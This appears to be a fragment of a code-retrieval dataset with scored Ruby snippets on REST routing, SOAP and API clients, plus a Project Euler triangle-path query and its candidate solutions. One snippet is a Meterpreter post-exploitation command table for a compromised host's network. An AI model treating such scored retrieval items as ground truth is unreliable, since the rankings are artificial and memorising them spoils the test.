"text": "def REST(r, options = {})\n crud = R \"#{options[:prefix]}/#{r}/([0-9a-zA-Z]+)/([a-z_]+)(?:\\.[a-z]+)?\",\n \"#{options[:prefix]}/#{r}/([0-9a-zA-Z]+)(?:\\.[a-z]+)?\",\n \"#{options[:prefix]}/#{r}/([a-z_]+)(?:\\.[a-z]+)?\",\n \"#{options[:prefix]}/#{r}(?:\\.[a-z]+)?\"\n\n crud.module_eval do\n meta_def(:restful?){true}\n\n $LOG.debug(\"Creating RESTful controller for #{r.inspect} using Reststop #{'pull version number here'}\") if $LOG\n\n def get(id_or_custom_action = nil, custom_action = nil) # :nodoc:\n id = input['id'] if input['id']\n\n custom_action = input['action'] if input['action']\n\n if self.methods.include? id_or_custom_action\n custom_action ||= id_or_custom_action\n id ||= nil\n else\n id ||= id_or_custom_action\n end\n\n id = id.to_i if id && id =~ /^[0-9]+$/\n\n @format = Reststop::Controllers.determine_format(input, @env)\n\n begin\n if id.nil? && input['id'].nil?\n custom_action ? send(custom_action) : list\n else\n custom_action ? send(custom_action, id || input['id']) : read(id || input['id'])\n end\n rescue NoMethodError => e\n # FIXME: this is probably not a good way to do this, but we need to somehow differentiate\n # between 'no such route' vs. other NoMethodErrors\n if e.message =~ /no such method/\n return no_method(e)\n else\n raise e\n end\n rescue ActiveRecord::RecordNotFound => e\n return not_found(e)\n end\n end\n\n\n def post(custom_action = nil) # :nodoc:\n @format = Reststop::Controllers.determine_format(input, @env)\n custom_action ? send(custom_action) : create\n end\n\n def put(id, custom_action = nil) # :nodoc:\n id = id.to_i if id =~ /^[0-9]+$/\n @format = Reststop::Controllers.determine_format(input, @env)\n custom_action ? send(custom_action, id || input['id']) : update(id || input['id'])\n end\n\n def delete(id, custom_action = nil) # :nodoc:\n id = id.to_i if id =~ /^[0-9]+$/\n @format = Reststop::Controllers.determine_format(input, @env)\n custom_action ? send(custom_action, id || input['id']) : destroy(id || input['id'])\n end\n\n private\n def _error(message, status_code = 500, e = nil)\n @status = status_code\n @message = message\n begin\n render \"error_#{status_code}\".intern\n rescue NoMethodError\n if @format.to_s == 'XML'\n \"<error code='#{status_code}'>#{@message}</error>\"\n else\n out = \"<strong>#{@message}</strong>\"\n out += \"<pre style='color: #bbb'><strong>#{e.class}: #{e}</strong>\\n#{e.backtrace.join(\"\\n\")}</pre>\" if e\n out\n end\n end\n end\n\n def no_method(e)\n _error(\"No controller method responds to this route!\", 501, e)\n end\n\n def not_found(e)\n _error(\"Record not found!\", 404, e)\n end\n end\n crud\n end",
"title": ""
},
{
"docid": "660baea173a549827d0a8e2dbfb2ff69",
"score": "0.5079055",
"text": "def define_action(action)\n action.aliases(true).each do |name|\n next unless define_method?(action, name)\n\n define_singleton_method(name) do |*args, **kwargs, &block|\n client_opts = @client.opts(:block, :block_interval, :block_timeout)\n all_args = @prepared_args + args\n\n if action.unresolved_args?\n all_args.delete_if do |arg|\n break unless action.unresolved_args?\n\n action.provide_args(arg)\n true\n end\n\n if action.unresolved_args?\n raise ArgumentError, 'one or more object ids missing'\n end\n end\n\n if all_args.length > 1 || (kwargs.any? && all_args.any?)\n raise ArgumentError, \"too many arguments for action #{@name}##{action.name}\"\n end\n\n arg = all_args.shift\n\n user_params =\n if kwargs.any? && arg\n raise ArgumentError,\n 'pass the input parameters either as a hash or keyword arguments'\n elsif kwargs.any?\n kwargs\n elsif arg\n arg\n end\n\n if user_params.nil?\n input_params = default_action_input_params(action)\n\n else\n if user_params.has_key?(:meta)\n meta = user_params[:meta]\n\n %i(block block_interval block_timeout).each do |p|\n client_opts[p] = meta.delete(p) if meta.has_key?(p)\n end\n end\n\n input_params = default_action_input_params(action).update(user_params)\n end\n\n ret = Response.new(action, action.execute(input_params))\n\n raise ActionFailed.new(ret) unless ret.ok?\n\n return_value = case action.output && action.output_layout\n when :object\n ResourceInstance.new(@client, @api, self, action: action, response: ret)\n\n when :object_list\n ResourceInstanceList.new(@client, @api, self, action, ret)\n\n when :hash, :hash_list\n ret\n\n else\n ret\n end\n\n if action.blocking? && client_opts[:block]\n wait_opts = {}\n\n {\n block_interval: :interval,\n block_timeout: :timeout\n }.each do |k, v|\n wait_opts[v] = client_opts[k] if client_opts.has_key?(k)\n end\n\n ret.wait_for_completion(**wait_opts) do |state|\n block.call(return_value, state) if block\n end\n end\n\n return_value\n end\n end\n end",
"title": ""
},
{
"docid": "3826e7e72c04bcc4a46e55efb5a33cc3",
"score": "0.50723785",
"text": "def add_actions\n opts = {\n :request_style => :rpc,\n :response_style => :rpc,\n :request_use => :encoded,\n :response_use => :literal,\n }\n\n actions.each do |name, params|\n qname = XSD::QName.new @default_namespace, name\n param_def = SOAP::RPC::SOAPMethod.derive_rpc_param_def self, name, params\n @router.add_method self, qname, nil, name, param_def, opts\n end\n end",
"title": ""
},
{
"docid": "63401d539fc72c5b17e98f912e76b05a",
"score": "0.50659627",
"text": "def define_stubs\n receiver.send(:include, StubRequests::API)\n\n method_definitions.each do |method_definition|\n DefineMethod.new(method_definition, receiver).define\n end\n end",
"title": ""
},
{
"docid": "d935119db9d753793526852f86a87c6a",
"score": "0.5055493",
"text": "def method_missing(name, *args)\n if %i[get delete head options post patch put].include?(name)\n if %i[get delete head options].include?(name)\n path, headers = args\n payload = nil\n else\n path, payload, headers = args\n end\n return ::RestClient::Request.execute(\n method: name,\n url: \"#{options[:url]}#{path}\",\n payload: payload ? payload.to_json : payload,\n headers: self.headers.merge(headers || {})\n ) do |response|\n parsed_response = JSON.parse(response.body) rescue {}\n message = [\n \"#{response.code} #{::RestClient::STATUSES[response.code]}\",\n parsed_response['info'],\n (parsed_response['messages'] || []).map { |message| message['message'] }\n ].compact.join(', ')\n yield(response, parsed_response, message) if block_given?\n response\n end\n end\n super(name, *args)\n end",
"title": ""
},
{
"docid": "8e11bb78b01d8d2abb45de1cb72af9cd",
"score": "0.504342",
"text": "def operations\n @operations ||= \\\n schema.operations.each_with_object({}) do |(key, sub_schema), obj|\n next unless key\n\n obj[key] = Builder::Operation.new(sub_schema, settings)\n end\n end",
"title": ""
},
{
"docid": "0e9d795f4b84f37d8d31d1619fe2157a",
"score": "0.503831",
"text": "def method_missing(method_name,*args,&block)\n raise IControl::NotConfiguredException unless IControl.configured?\n current_method_name = ( self.client.wsdl.operations.keys.include?(\"get_#{method_name}\".to_sym ) ) ? \"get_#{method_name}\".to_sym : method_name\n if self.client && self.client.wsdl.operations.keys.include?(current_method_name)\n begin\n # When calling a soap method we transparently add the ns (I'd rather say we obscurely)\n request = \"\"\n response = nil\n mutex.synchronize do\n response = self.client.request(:wsdl, current_method_name.to_s) do |soap|\n soap.namespaces[\"xmlns:wsdl\"] = \"urn:iControl:#{parent_modules[1..-1].join(\".\")}/#{class_name}\" \n if args.first\n if args.first[:raw_call]\n soap.body = convert_to_soap(args.first)\n else\n soap.body = convert_to_soap(hash_to_call_args(args.first))\n end\n end\n block.call(soap) if block\n request = soap.to_xml\n end\n end\n return self.map_response(response.to_xml)\n rescue Savon::HTTP::Error, Savon::SOAP::Fault => error\n IControl::Base::ExceptionFactory.raise_from_xml(error.http.body)\n end\n else\n super(method_name,*args,&block)\n end \n end",
"title": ""
},
{
"docid": "975952eeb78acf2c6ae697ab6f594ea1",
"score": "0.5031923",
"text": "def define_resource_operations(service, resource, definition)\n define_load(resource, definition['load'])\n define_actions(service, resource, definition['actions'] || {})\n define_waiters(service, resource, definition['waiters'] || {})\n define_has_many(service, resource, definition['hasMany'] || {})\n define_has_some(service, resource, definition['hasSome'] || {})\n define_has_one(service, resource, definition['hasOne'] || {})\n define_data_attributes(resource, definition['shape'])\n end",
"title": ""
},
{
"docid": "a8d59fed9a81bf37385bccb4bb4db64f",
"score": "0.5030894",
"text": "def api_actions\n [:import, :only_in_council, :only_in_lpi, :error_records]\n end",
"title": ""
},
{
"docid": "f88d957be1edba9f9cc1a28bfa2eb718",
"score": "0.5030215",
"text": "def add_introspection\n add_handler(\"system.listMethods\",%w(array), \"List methods available on this XML-RPC server\") do\n methods = []\n @handler.each do |name, obj|\n if obj.kind_of? Proc\n methods << name\n else\n obj.class.public_instance_methods(false).each do |meth|\n methods << \"#{name}#{meth}\"\n end\n end\n end\n methods\n end\n\n add_handler(\"system.methodSignature\", %w(array string), \"Returns method signature\") do |meth|\n sigs = []\n @handler.each do |name, obj, sig|\n if obj.kind_of? Proc and sig != nil and name == meth\n if sig[0].kind_of? Array\n # sig contains multiple signatures, e.g. [[\"array\"], [\"array\", \"string\"]]\n sig.each {|s| sigs << s}\n else\n # sig is a single signature, e.g. [\"array\"]\n sigs << sig\n end\n end\n end\n sigs.uniq! || sigs # remove eventually duplicated signatures\n end\n\n add_handler(\"system.methodHelp\", %w(string string), \"Returns help on using this method\") do |meth|\n help = nil\n @handler.each do |name, obj, sig, hlp|\n if obj.kind_of? Proc and name == meth\n help = hlp\n break\n end\n end\n help || \"\"\n end\n\n self\n end",
"title": ""
},
{
"docid": "6bab742ecf47900b74a25496b4caa524",
"score": "0.50298965",
"text": "def handlers; end",
"title": ""
},
{
"docid": "26039b9aca798e047bb067bf7db3bec9",
"score": "0.50276494",
"text": "def method_missing(method, *args, &block) #:doc:\n soap_call = soap_call_from method.to_s\n super if @wsdl.enabled? && !@wsdl.respond_to?(soap_call)\n\n setup_objects operation_from(soap_call), &block\n Response.new @request.soap(@soap)\n end",
"title": ""
},
{
"docid": "76d8023019cc89c1150d3d725be6a345",
"score": "0.5026156",
"text": "def execute(&block)\n\t\t\t\t@controller.refined_http_methods\n\t\t\t\t\t.each do |http_method, action_path, action|\n\t\t\t\t\t\tsend(http_method, action_path, action)\n\t\t\t\t\tend\n\t\t\t\tinstance_exec(&block) if block\n\t\t\t\tdefaults\n\t\t\tend",
"title": ""
},
{
"docid": "a06ab577be7ed35dd525378838ba7a76",
"score": "0.5003893",
"text": "def configure\n @configuration = Configuration.new\n yield(@configuration)\n check_api_keys\n end",
"title": ""
},
{
"docid": "aed1a388ae15d6691e7dd2a2ca9fa7e7",
"score": "0.50026816",
"text": "def service(*a)\n @method=@request.request_method\n if @method == 'post' && (%w[put delete].include?(input._method.to_s.downcase))\n @env['REQUEST_METHOD'] = input._method.upcase\n @method = input._method\n elsif @method == 'get'\n id, action = a\n gmethod, a=case id\n when nil then ['list', []]\n when 'new', '0' then ['new', []]\n else\n case action\n when 'edit' then ['edit', [a.first]]\n else ['read', [a.first, action]]\n end\n end\n end\n super(*a)\n gmethod && (@body=send(gmethod, *a))\n self\n end",
"title": ""
},
{
"docid": "41954bd66fe6f2c5c3e1b5125dddf52f",
"score": "0.5000825",
"text": "def test_api_correctness\n @loader = SwaggerLoader.new\n @formatter = Formatter.new\n\n test_200_for_routes_with_no_required_parameters\n test_sample_values_for_path_params_on_get_routes\n end",
"title": ""
},
{
"docid": "f567d46fbdf2d573d32a9f0cb06d760d",
"score": "0.5000683",
"text": "def commands\n all = {\n 'ipconfig' => 'Display interfaces',\n 'ifconfig' => 'Display interfaces',\n 'route' => 'View and modify the routing table',\n 'portfwd' => 'Forward a local port to a remote service',\n 'arp' => 'Display the host ARP cache',\n 'netstat' => 'Display the network connections',\n 'getproxy' => 'Display the current proxy configuration',\n 'resolve' => 'Resolve a set of host names on the target',\n }\n\n reqs = {\n 'ipconfig' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES],\n 'ifconfig' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES],\n 'route' => [\n # Also uses these, but we don't want to be unable to list them\n # just because we can't alter them.\n #COMMAND_ID_STDAPI_NET_CONFIG_ADD_ROUTE,\n #COMMAND_ID_STDAPI_NET_CONFIG_REMOVE_ROUTE,\n COMMAND_ID_STDAPI_NET_CONFIG_GET_ROUTES\n ],\n # Only creates tcp channels, which is something whose availability\n # we can't check directly at the moment.\n 'portfwd' => [],\n 'arp' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_ARP_TABLE],\n 'netstat' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_NETSTAT],\n 'getproxy' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_PROXY],\n 'resolve' => [COMMAND_ID_STDAPI_NET_RESOLVE_HOST],\n }\n\n filter_commands(all, reqs)\n end",
"title": ""
},
{
"docid": "cc73f9c0f38e0246a6dc8712cf99da84",
"score": "0.49976385",
"text": "def build\n routes = []\n\n resources, position = [], true\n while position\n position = nil if position == true # start of loop\n resp = apigateway.get_resources(\n rest_api_id: rest_api_id,\n position: position,\n )\n resources += resp.items\n position = resp.position\n end\n\n resources.each do |resource|\n resource_methods = resource.resource_methods\n next if resource_methods.nil?\n\n resource_methods.each do |http_verb, resource_method|\n # puts \"#{http_verb} #{resource.path} | resource.id #{resource.id}\"\n # puts to(resource.id, http_verb)\n\n # Test changing config.cors and CloudFormation does an in-place update\n # on the resource. So no need to do bluegreen deployments for OPTIONS.\n next if http_verb == \"OPTIONS\"\n\n path = recreate_path(resource.path)\n method = http_verb.downcase.to_sym\n to = to(resource.id, http_verb)\n route = Jets::Route.new(path: path, method: method, to: to)\n routes << route\n end\n end\n routes\n end",
"title": ""
},
{
"docid": "53641bcdbed2e88c05fe9c36009866ac",
"score": "0.49926743",
"text": "def bulk_requests\n if @platform.platform_type == \"Atmos\"\n @path = \"ex: /tenant_admin/list_sub_tenant\"\n @headers = \"One on each line. ex: {'x-atmos-subtenantname' => 't1subtenant'}. The headers needed for authentication will be added automatically for both POX and REST API\"\n elsif @platform.platform_type == \"ViPR\"\n @path = \"ex: /tenant\"\n @headers = \"One on each line. ex: {'key' => 'value'}. x-sds-auth-token will be added automatically\"\n elsif @platform.platform_type == \"vCloud Director\"\n @path = \"ex: /api/org\"\n @headers = \"One on each line. ex: {'key' => 'value'}. x-vcloud-authorization and Accept will be added automatically\"\n end\n respond_to do |format|\n format.html { render \"shared/bulk_requests\" }\n end\n end",
"title": ""
},
{
"docid": "3e78a2ba9ce8ccb7f1ebc2fd5124be3f",
"score": "0.49925047",
"text": "def method_missing(symbol, *args)\n return super(symbol, *args) if @setup\n\n setup_api\n\n if @resources.include?(symbol)\n method(symbol).call(*args)\n\n else\n super(symbol, *args)\n end\n end",
"title": ""
},
{
"docid": "57bca26a1707544d80073996c3386322",
"score": "0.49854317",
"text": "def requests\n requests_api + requests_custom\n end",
"title": ""
},
{
"docid": "57bca26a1707544d80073996c3386322",
"score": "0.49854317",
"text": "def requests\n requests_api + requests_custom\n end",
"title": ""
},
{
"docid": "3165d70a2214e504b87fbeb2284efd82",
"score": "0.49822426",
"text": "def resources\n handlers\n end",
"title": ""
},
{
"docid": "2a8d9703441bf8448048929d46d17990",
"score": "0.4980681",
"text": "def execute\r\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\r\n if @info_values['api_server'].include?(\"${space}\")\r\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\r\n elsif !space_slug.to_s.empty?\r\n server = @info_values['api_server']+\"/\"+space_slug\r\n else\r\n server = @info_values['api_server']\r\n end\r\n\r\n begin\r\n api_username = URI.encode(@info_values[\"api_username\"])\r\n api_password = @info_values[\"api_password\"]\r\n error_handling = @parameters[\"error_handling\"]\r\n kapp_slug = @parameters[\"kapp_slug\"].to_s.strip.empty? ? nil : @parameters[\"kapp_slug\"].to_s.strip\r\n form_slug = @parameters[\"form_slug\"].to_s.strip.empty? ? nil : @parameters[\"form_slug\"].to_s.strip\r\n error_message = nil\r\n api_route = \"#{server}/app/api/v1\"\r\n\r\n\r\n # Build the route for the appropriate attributes\r\n if space_slug.nil?\r\n error_message = \"A space slug must be provided.\"\r\n elsif !form_slug.nil? && kapp_slug.nil?\r\n error_message = \"A kapp slug must be provided if a form slug is provided.\"\r\n elsif !form_slug.nil? && !kapp_slug.nil?\r\n api_route = \"#{api_route}/kapps/#{kapp_slug}/forms/#{form_slug}?include=attributes,kapp.attributes,kapp.space.attributes\"\r\n elsif !kapp_slug.nil?\r\n api_route = \"#{api_route}/kapps/#{kapp_slug}?include=attributes,space.attributes\"\r\n else\r\n api_route = \"#{api_route}/space?include=attributes\"\r\n end\r\n\r\n\r\n if error_message.nil?\r\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\r\n response = resource.get\r\n\r\n # Build the results to be returned by this handler\r\n if response.nil?\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">NULL RESPONSE</result>\r\n <result name=\"Space Attributes\"/>\r\n <result name=\"Kapp Attributes\"/>\r\n <result name=\"Form Attributes\"/>\r\n </results>\r\n RESULTS\r\n else\r\n # Parse the Results returned from the API\r\n results = JSON.parse(response)\r\n\r\n space_attributes = []\r\n kapp_attributes = []\r\n form_attributes = []\r\n\r\n if results.has_key?('form')\r\n space_attributes = results['form']['kapp']['space']['attributes']\r\n kapp_attributes = results['form']['kapp']['attributes']\r\n form_attributes = results['form']['attributes']\r\n elsif results.has_key?('kapp')\r\n space_attributes = results['kapp']['space']['attributes']\r\n kapp_attributes = results['kapp']['attributes']\r\n else\r\n space_attributes = results['space']['attributes']\r\n end\r\n\r\n results = <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\"/>\r\n <result name=\"Space Attributes\">#{map_attributes(space_attributes).to_json}</result>\r\n <result name=\"Kapp Attributes\">#{map_attributes(kapp_attributes).to_json}</result>\r\n <result name=\"Form Attributes\">#{map_attributes(form_attributes).to_json}</result>\r\n </results>\r\n RESULTS\r\n puts results\r\n results\r\n end\r\n else\r\n # Return Error Results\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">#{escape(error_message)}</result>\r\n <result name=\"Space Attributes\"/>\r\n <result name=\"Kapp Attributes\"/>\r\n <result name=\"Form Attributes\"/>\r\n </results>\r\n RESULTS\r\n end\r\n\r\n rescue RestClient::Exception => error\r\n error_message = JSON.parse(error.response)[\"error\"]\r\n if error_handling == \"Raise Error\"\r\n raise error_message\r\n else\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\r\n <result name=\"Space Attributes\"/>\r\n <result name=\"Kapp Attributes\"/>\r\n <result name=\"Form Attributes\"/>\r\n </results>\r\n RESULTS\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "54fca38082bef881e37712657ad13036",
"score": "0.49763277",
"text": "def register_handler(klass, **opts, &block)\n name = handler_name_from_class(klass)\n unknown_operations = (opts[:operations] || []) - ALLOWED_IO_OPERATIONS\n raise URI::IO::UnsupportedOperation, \"Operation(s) #{unknown_operations} are not supported, only #{ALLOWED_IO_OPERATIONS} are.\" unless unknown_operations.empty?\n\n handlers[name] ||= {\n class: klass,\n operations: opts.delete(:operations),\n options: opts\n }\n\n yield handlers[name] if block_given?\n handlers[name]\n end",
"title": ""
},
{
"docid": "0270a6f23d21b9a67e8d1e75dc8b6c41",
"score": "0.49754047",
"text": "def swagger_get_links(resource, klass)\n single = resource.singularize\n\n singular_links, multiple_links = klass.association_klasses\n\n singular_links.each_pair do |link_name, link_data|\n link_type = link_data[:type]\n swagger_path \"/#{resource}/{#{single}_id}/#{link_name}\" do\n operation :get do\n key :description, \"Get the #{link_name} of a #{single}\"\n key :operationId, \"get_#{single}_#{link_name}\"\n key :produces, [Flapjack::Gateways::JSONAPI.media_type_produced]\n parameter do\n key :name, \"#{single}_id\".to_sym\n key :in, :path\n key :description, \"Id of a #{single}\"\n key :required, true\n key :type, :string\n end\n response 200 do\n key :description, \"GET #{resource} response\"\n schema do\n key :\"$ref\", \"#{link_type}Reference\".to_sym\n end\n end\n # response :default do\n # key :description, 'unexpected error'\n # schema do\n # key :'$ref', :ErrorModel\n # end\n # end\n end\n end\n\n swagger_path \"/#{resource}/{#{single}_id}/links/#{link_name}\" do\n operation :get do\n key :description, \"Get the #{link_name} of a #{single}\"\n key :operationId, \"get_#{single}_#{link_name}\"\n key :produces, [JSONAPI_MEDIA_TYPE]\n parameter do\n key :name, \"#{single}_id\".to_sym\n key :in, :path\n key :description, \"Id of a #{single}\"\n key :required, true\n key :type, :string\n end\n response 200 do\n key :description, \"GET #{resource} response\"\n schema do\n key :\"$ref\", \"#{link_type}Reference\".to_sym\n end\n end\n # response :default do\n # key :description, 'unexpected error'\n # schema do\n # key :'$ref', :ErrorModel\n # end\n # end\n end\n end\n end\n\n multiple_links.each_pair do |link_name, link_data|\n link_type = link_data[:type]\n swagger_path \"/#{resource}/{#{single}_id}/#{link_name}\" do\n operation :get do\n key :description, \"Get the #{link_name} of a #{single}\"\n key :operationId, \"get_#{single}_#{link_name}\"\n key :produces, [Flapjack::Gateways::JSONAPI.media_type_produced]\n parameter do\n key :name, \"#{single}_id\".to_sym\n key :in, :path\n key :description, \"Id of a #{single}\"\n key :required, true\n key :type, :string\n end\n response 200 do\n key :description, \"GET #{resource} response\"\n schema do\n key :type, :array\n items do\n key :\"$ref\", \"#{link_type}Reference\".to_sym\n end\n end\n end\n # response :default do\n # key :description, 'unexpected error'\n # schema do\n # key :'$ref', :ErrorModel\n # end\n # end\n end\n end\n swagger_path \"/#{resource}/{#{single}_id}/links/#{link_name}\" do\n operation :get do\n key :description, \"Get the #{link_name} of a #{single}\"\n key :operationId, \"get_#{single}_links_#{link_name}\"\n key :produces, [Flapjack::Gateways::JSONAPI.media_type_produced]\n parameter do\n key :name, \"#{single}_id\".to_sym\n key :in, :path\n key :description, \"Id of a #{single}\"\n key :required, true\n key :type, :string\n end\n response 200 do\n key :description, \"GET #{resource} response\"\n schema do\n key :type, :array\n items do\n key :\"$ref\", \"#{link_type}Reference\".to_sym\n end\n end\n end\n # response :default do\n # key :description, 'unexpected error'\n # schema do\n # key :'$ref', :ErrorModel\n # end\n # end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2e3e1bf840c2cc762a383bd3d6c028b7",
"score": "0.4970513",
"text": "def handle(request)\n log.debug self.class.name+\"#handle #{request.request_method} #{request.url}\"\n\n if storage.nil?\n return http_error(501, \"No storage set for API endpoint, cannot handle request\")\n end\n\n request = before(request)\n\n # 405 Method not allowed\n # The response MUST include an Allow header containing a list of valid methods for the requested resource.\n unless method_allowed? request.request_method\n e = http_error(405, \"The following HTTP methods are allowed: #{methods.join(\", \")}\")\n e.headers[\"Allow\"] = methods.join(\", \") \n return e\n end\n\n # GET, HEAD and POST are the only method where id can be blank\n unless /(GET|HEAD|POST)/ =~ request.request_method\n unless request.id?\n return http_error(400, \"Missing or blank request id, cannot handle #{request.request_method} request\")\n end\n end\n\n #414 Request-URI Too Long?\n if [\"GET\", \"HEAD\", \"DELETE\"].include? request.request_method\n # 404 / 410 Gone?\n # 412 Precondition Failed?\n \n # 406 Not Acceptable ?\n # Only run the check if the endpoint supports multiple formats and\n # the user supplied .format extension\n if formats.size > 1 and request.path_info =~ /\\.\\w+/\n unless acceptable? request.format\n return http_error(406, \"Unacceptable format '#{format}', this API endpoint supports the following #{request.request_method} formats: #{formats.join(\",\")}\")\n end\n end\n \n elsif [\"PUT\", \"POST\"].include? request.request_method\n #log.debug \"Accepts(#{request.media_type})? #{accepts? request.media_type}\"\n # 415 Unsupported Media Type\n unless accepts? request.media_type\n return http_error(415, \"Unsupported: #{request.media_type}. Acceptable POST/PUT media types are: '#{accepts.join(\", \")}'\")\n end\n document = request.body.read \n request.body.rewind # rewind is necessary for request.body is empty after #read\n log.debug \"#{request.request_method} #{request.media_format} request (#{document.bytesize} bytes)\"\n \n # 411 Length Required?\n # Insist on Content-Length on chunked transfers\n # if headers[\"Content-Length\"].nil? or headers[\"Content-Length\"].to_i <= 0\n # return http_error(411)\n # end\n\n # FIXME 413 Request Entity Too Large\n # FIXME PUT with no etag/revision and 409 => new status code for conditional PUT?\n\n\n #400 Bad Request\n if 0 == document.bytesize or /^\\s+$/ =~ document\n return http_error(400, \"#{request.request_method} document with no body\")\n end\n\n #422 Unprocessable Entity (WebDAV; RFC 4918)\n unless valid?(document, request.request_method)\n log.warn \"#{request.request_method} #{request.url} = 422. Errors: #{errors.to_json}\"\n return http_error(422, errors)\n end \n\n end\n \n before_time = Time.now\n \n # @todo move all methods into core#{verb}\n response = case request.request_method\n when \"DELETE\" then storage.delete(id, params)\n when \"GET\" then storage.get(id, params) # FIXME Handle empty id\n when \"HEAD\" then storage.head(id, params)\n when \"OPTIONS\" then options\n when \"POST\" then storage.post(document, params)\n when \"PUT\" then storage.put(id, document, params)\n end\n \n response = after(request, response)\n\n status, headers, body = response\n\n log.info \"#{request.request_method} #{request.path} [Core]: #{status} #{headers.to_s} took: #{Time.now - before_time}\"\n Rack::Response.new(body, status, headers)\n\n end",
"title": ""
},
{
"docid": "1cc43e9092523c2e10c7ed40e4b88821",
"score": "0.49643803",
"text": "def process_request\n operations = @request.operations\n unless JSONAPI.configuration.resource_cache.nil?\n operations.each {|op| op.options[:cache_serializer] = resource_serializer }\n end\n results = process_operations(operations)\n render_results(results)\n rescue => e\n handle_exceptions(e)\n end",
"title": ""
},
{
"docid": "0334049b21085b56159ff2dec789238c",
"score": "0.4964372",
"text": "def initialize(config, queries)\n @config = config\n @queries = queries\n @requests = @queries.map { |query| { method: :get, path: 'api/query', query: query.request } }\n end",
"title": ""
},
{
"docid": "7ab23512fa3c6cb1b52a57e4a77ff61b",
"score": "0.49623677",
"text": "def load_handler_configs(config)\n Lita.handlers.each do |handler|\n next unless handler.respond_to?(:default_config)\n handler_config = config.handlers[handler.namespace] = new\n handler.default_config(handler_config)\n end\n end",
"title": ""
}
] |
0bd38b8f580a2d47b0449a5ac0c52202
|
row below, the maximum total from top to bottom is 23. 3 7 4 2 4 6 8 5 9 3 That is, 3 + 7 + 4 + 9 = 23. Find the maximum total from top to bottom of the triangle below: 75 95 64 17 47 82 18 35 87 10 20 04 82 47 65 19 01 23 75 03 34 88 02 77 73 07 63 67 99 65 04 28 06 16 70 92 41 41 26 56 83 40 80 70 33 41 48 72 33 47 32 37 16 94 29 53 71 44 65 25 43 91 52 97 51 14 70 11 33 28 77 73 17 78 39 68 17 57 91 71 52 38 17 14 91 43 58 50 27 29 48 63 66 04 68 89 53 67 30 73 16 69 87 40 31 04 62 98 27 23 09 70 98 73 93 38 53 60 04 23 NOTE: As there are only 16384 routes, it is possible to solve this problem by trying every route. However, Problem 67, is the same challenge with a triangle containing onehundred rows; it cannot be solved by brute force, and requires a clever method! ;o) Brute force solution!
|
[
{
"docid": "4f033e2a997921a234a94289368dbc5c",
"score": "0.0",
"text": "def read_map(filename)\n file_data = []\n\n File.open(filename, 'r') do |file|\n file.each_line do |line|\n index = 0\n line_hash = {}\n line_data = line.split(' ')\n line_data.length.times do\n line_hash[index] = line_data[index]\n index += 1\n end\n file_data << line_hash\n end\n end\n file_data\nend",
"title": ""
}
] |
[
{
"docid": "45b0e24912ca4ad5d6fa95948fc090db",
"score": "0.7835834",
"text": "def path_sum()\n triangle = \"75\n 95 64\n 17 47 82\n 18 35 87 10\n 20 04 82 47 65\n 19 01 23 75 03 34\n 88 02 77 73 07 63 67\n 99 65 04 28 06 16 70 92\n 41 41 26 56 83 40 80 70 33\n 41 48 72 33 47 32 37 16 94 29\n 53 71 44 65 25 43 91 52 97 51 14\n 70 11 33 28 77 73 17 78 39 68 17 57\n 91 71 52 38 17 14 91 43 58 50 27 29 48\n 63 66 04 68 89 53 67 30 73 16 69 87 40 31\n 04 62 98 27 23 09 70 98 73 93 38 53 60 04 23\".split(\"\\n\")\n #convert str to int array\n triangle = triangle.map { |row| row.split(\" \").map(&:to_i) }\n\n #Add the highest sums from buttom row up to top\n #\"preprocess\" without having to try routes\n #find highest sum between 63 and it's adjacent elements 04 and 62\n #process it for the row and keep moving up\n\n (triangle.length-1).downto(1) do |row|\n triangle[row-1].each_with_index.map do |element, index|\n if triangle[row][index] > triangle[row][index+1]\n triangle[row-1][index] += triangle[row][index]\n else\n triangle[row-1][index] += triangle[row][index+1]\n end\n end\n end\n\n print_array(triangle)\nend",
"title": ""
},
{
"docid": "738b4a41adfb856466e19589d4d6e4a7",
"score": "0.77201706",
"text": "def maximum_path(triangle)\n numbers = triangle.split\n height = Math.sqrt(numbers.count * 2).round\n grid = Array.new(height){|i| Array.new(height){|i| 0 }}\n first_number = 0\n row_length = 1\n height.times do |row|\n row_length.times do |column|\n grid[row][column] = numbers[first_number + column].to_i\n end\n first_number += row_length\n row_length += 1\n end\n\n (height - 1).times do |row_from_bottom|\n row = height - 1 - row_from_bottom\n row.times do |column|\n grid[row-1][column] += [grid[row][column], grid[row][column + 1]].max\n end\n end\n grid[0][0]\nend",
"title": ""
},
{
"docid": "dd5a51fcd8d7a1073926b6b64f238a33",
"score": "0.7673937",
"text": "def solve(row, col) # recursive solution is so much easier! But it's too slow for problem 67, super big triangle.\n return 0 if row == $t.length\n return $t[row][col] + [solve(row + 1, col), solve(row + 1, col + 1)].max\nend",
"title": ""
},
{
"docid": "98927ffa0bd0ed4dc1c0134e361c61e3",
"score": "0.7653962",
